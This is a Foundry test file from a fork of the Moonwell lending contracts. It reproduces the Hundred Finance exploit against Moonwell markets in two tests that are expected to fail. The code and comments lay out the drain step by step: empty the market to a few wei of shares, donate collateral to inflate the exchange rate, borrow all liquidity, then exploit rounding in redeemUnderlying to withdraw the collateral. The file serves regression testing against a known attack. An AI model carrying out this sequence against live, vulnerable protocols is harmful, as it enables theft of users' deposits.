forked from moonwell-fi/moonwell-contracts-v2
-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathHundredFinanceExploit.t.sol
More file actions
184 lines (147 loc) · 7.31 KB
/
HundredFinanceExploit.t.sol
File metadata and controls
184 lines (147 loc) · 7.31 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
pragma solidity 0.8.19;
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@forge-std/Test.sol";
import {Comptroller} from "@protocol/Comptroller.sol";
import {Exponential} from "@protocol/Exponential.sol";
import {JumpRateModel} from "@protocol/IRModels/JumpRateModel.sol";
import {MErc20Immutable} from "@test/mock/MErc20Immutable.sol";
import {ChainlinkOracle} from "@protocol/Oracles/ChainlinkOracle.sol";
import {SimplePriceOracle} from "@test/helper/SimplePriceOracle.sol";
import {PostProposalCheck} from "@test/integration/PostProposalCheck.sol";
import {InterestRateModel} from "@protocol/IRModels/InterestRateModel.sol";
import {ComptrollerErrorReporter} from "@protocol/ErrorReporter.sol";
import {WhitePaperInterestRateModel} from "@protocol/IRModels/WhitePaperInterestRateModel.sol";
contract HundredFinanceExploitTest is
PostProposalCheck,
ComptrollerErrorReporter,
Exponential
{
Comptroller comptroller;
ChainlinkOracle oracle;
IERC20 cbeth;
MErc20Immutable collateralToken;
InterestRateModel irModel;
MErc20Immutable mUSDbC;
IERC20 usdc;
address otherUser = vm.addr(1);
function setUp() public override {
super.setUp();
comptroller = Comptroller(addresses.getAddress("UNITROLLER"));
oracle = ChainlinkOracle(addresses.getAddress("CHAINLINK_ORACLE"));
cbeth = IERC20(addresses.getAddress("cbETH"));
usdc = IERC20(addresses.getAddress("USDBC"));
// CBETH
collateralToken = MErc20Immutable(
addresses.getAddress("MOONWELL_cbETH")
);
mUSDbC = MErc20Immutable(addresses.getAddress("MOONWELL_USDBC"));
vm.prank(addresses.getAddress("TEMPORAL_GOVERNOR"));
oracle.setUnderlyingPrice(
collateralToken,
30_363.45 * (10 ** (36 - 8))
);
deal(address(usdc), otherUser, 1000e18);
vm.startPrank(otherUser);
usdc.approve(address(mUSDbC), 1000e6);
mUSDbC.mint(1000e6);
vm.stopPrank();
vm.label(address(this), "TEST CONTRACT");
}
// This is the main vulnerability that was exploited against Hundred finance to drain their protocol.
//
// Scenario: User supplies some amount to the market, returns all but 2wei hTokens via `redeem()`, then they
// deposit a large amount of BTC to skyrocket the exchange rate to make each hToken share worth 250BTC. They
// *then* take advantage of a truncation issue to use `redeemUnderlying` to request 99.9999% of the 500BTC in
// the market contract while providing it a single wei of an hToken - basically the math that calculates the
// amount of hTokens to burn while redeeming a specified underlying value truncates and solidity always truncates
// down.
function testFailHundredFinanceExploit1() public {
uint liquidity;
uint shortfall;
cbeth.approve(address(collateralToken), 501e8);
deal(address(cbeth), address(this), 501e8);
collateralToken.mint(1e8);
collateralToken.redeemUnderlying(1e8 - 2);
// There are 2wei in the market backed by 500 BTC, so each mToken is a supplied position of 250BTC
address[] memory marketsToEnter = new address[](1);
marketsToEnter[0] = address(collateralToken);
comptroller.enterMarkets(marketsToEnter);
// Donate 500 BTC to the market
cbeth.transfer(address(collateralToken), 500e8);
// Go borrow all USDBC in market
mUSDbC.borrow(usdc.balanceOf(address(mUSDbC)));
// We now have a lot of liquidity here
(, liquidity, shortfall) = comptroller.getAccountLiquidity(
address(this)
);
assertGe(liquidity, 1);
assertEq(shortfall, 0);
// Using redeemUnderlying to get the donation back, we technically redeem 1wei of mToken which sidesteps
// a usually checked `redeemVerify()` hook, but it truncates a huge amount allowing to pull out 99.9% of
// the holdings of the contract while burning 1wei mToken which would normally redeem for 250 BTC.
collateralToken.redeemUnderlying(500e8);
// We now have no liquidity and a huge shortfall, but also have all the assets D:
(, liquidity, shortfall) = comptroller.getAccountLiquidity(
address(this)
);
assertEq(liquidity, 0);
assertGe(shortfall, 1);
}
// There's actually a second vulnerability here that allows users to abuse the `redeemUnderlying`
// mechanism to redeem 0 mTokens for some value due to an omission of the `redeemVerify()` call
// into the comptroller.
//
// Scenario: User supplies 1BTC to the market but redeems all but 1wei of their mTokens, donates 100 BTC
// to the market, borrows all GLMR (1wei == 100 BTC supplied), then calls `redeemUnderlying()` with < 100%
// of the existing market liquidity which will *not* burn the mTokens but will send funds from the contract
// back.
function testFailHundredFinanceExploit2() public {
uint liquidity;
uint shortfall;
// Go override the call to Comptroller.redeemVerify to always return
// true, effectively simulating the hundred finance's omission of this
// defense hook call in redeemFresh()
vm.mockCall(
address(comptroller),
abi.encodeWithSelector(Comptroller.redeemVerify.selector),
abi.encode(uint(Error.NO_ERROR))
);
// Approve & allocate 1 fake BTC
cbeth.approve(address(collateralToken), 1e8);
deal(address(cbeth), address(this), 1e8);
// Go deposit 1 BTC to the market
collateralToken.mint(1e8);
// Go enter the market
address[] memory marketsToEnter = new address[](1);
marketsToEnter[0] = address(collateralToken);
comptroller.enterMarkets(marketsToEnter);
// Redeem all mTokens but 1wei
collateralToken.redeem(collateralToken.balanceOf(address(this)) - 1);
// Donate 100 BTC to the market to drive of collateral value, mToken holdings == 101 BTC
uint donation = 100e8;
deal(address(cbeth), address(collateralToken), donation);
// We now have a lot of liquidity
(, liquidity, shortfall) = comptroller.getAccountLiquidity(
address(this)
);
assertGe(liquidity, 1);
assertEq(shortfall, 0);
// We can now borrow everything in the markets due to the massively inflated exchange rate
mUSDbC.borrow(usdc.balanceOf(address(mUSDbC)));
// Now we can go call `redeemUnderlying` with everything in the market minus 1wei
// which won't burn any mTokens but WILL transfer us the requested funds, not being
// caught by the redeemVerify hook.
collateralToken.redeemUnderlying(
cbeth.balanceOf(address(collateralToken)) - 1
);
// End state is we have 1000 GLMR, ~101 BTC (starting capital), and things are completely rekt
assertEq(cbeth.balanceOf(address(this)), 101e8 - 1);
assertEq(cbeth.balanceOf(address(collateralToken)), 1); // Ensure our 1wei is still in the market
// We now have no liquidity and a huge shortfall, but also have all the assets D:
(, liquidity, shortfall) = comptroller.getAccountLiquidity(
address(this)
);
assertEq(liquidity, 0);
assertGe(shortfall, 1);
}
}